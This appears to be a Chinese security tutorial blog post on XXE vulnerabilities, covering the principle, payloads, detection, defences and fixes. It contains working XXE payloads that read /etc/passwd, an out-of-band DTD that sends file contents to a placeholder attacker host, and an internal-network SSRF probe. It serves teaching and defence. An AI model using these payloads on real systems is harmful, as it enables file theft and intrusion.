XXE:XML 外部实体漏洞实战

XXE 漏洞实战:原理、读文件、带外(OOB)外带数据、内网探测与 SSRF,以及禁用外部实体等防御修复。

写在前面:合法学习边界

XXE 测试只允许在自建靶场或授权环境进行。对真实系统读文件、外带数据、探测内网可能触犯法律。

一、漏洞原理

XML 解析器默认支持 DTD 和外部实体。如果程序解析不可信的 XML,且没禁用外部实体,攻击者就能让解析器去读文件、发请求。

1
2
3
4
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

漏洞本质:XML 的“实体”机制被用来访问本地文件或外部地址

常见触发点:

1
2
3
4
SOAP/XML-RPC 接口
前端传 XML 的接口
上传 .xml/.docx/.svg 被后端解析
配置文件解析

二、影响与危害

1
2
3
4
读取任意文件(源码、配置、密钥)
SSRF(实体指向内网地址)
带外数据外带(OOB)
DoS(实体扩展/十亿笑)

风险等级:高。

三、利用 / 复现

直接读文件

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

如果响应里回显 /etc/passwd 内容,XXE 成立。

无回显:带外外带(OOB)

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY % ext SYSTEM "http://攻击机/xxe.dtd">
  %ext;
]>
<foo/>

攻击机放 xxe.dtd,把文件内容拼到外带请求:

1
2
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://攻击机/?data=%file;'>">
%all;

攻击机收到带文件内容的请求。

探测内网 / SSRF

1
2
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
<foo>&xxe;</foo>

四、检测

1
2
3
4
请求中带 XML 与 DOCTYPE/ENTITY
响应出现文件内容或异常报错
出现对攻击机的外带请求
XML 接口存在但报错信息暴露内部路径

五、防御

1
2
3
4
禁用 DTD / 外部实体(解析库安全默认值)
不用 XML 就用 JSON
对 XML 输入做白名单校验
限制解析资源防 DoS

六、修复

1
2
3
4
解析库显式关闭外部实体与 DTD
升级到默认安全的 XML 解析配置
对存量接口审计 XML 输入
修复后复测:file:// 与外带 payload 均被拒

七、小结

XXE 的核心是“XML 解析器信任了外部实体”。它既能读文件又能当 SSRF。见到 XML 接口就先试实体——很多老接口都中招。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处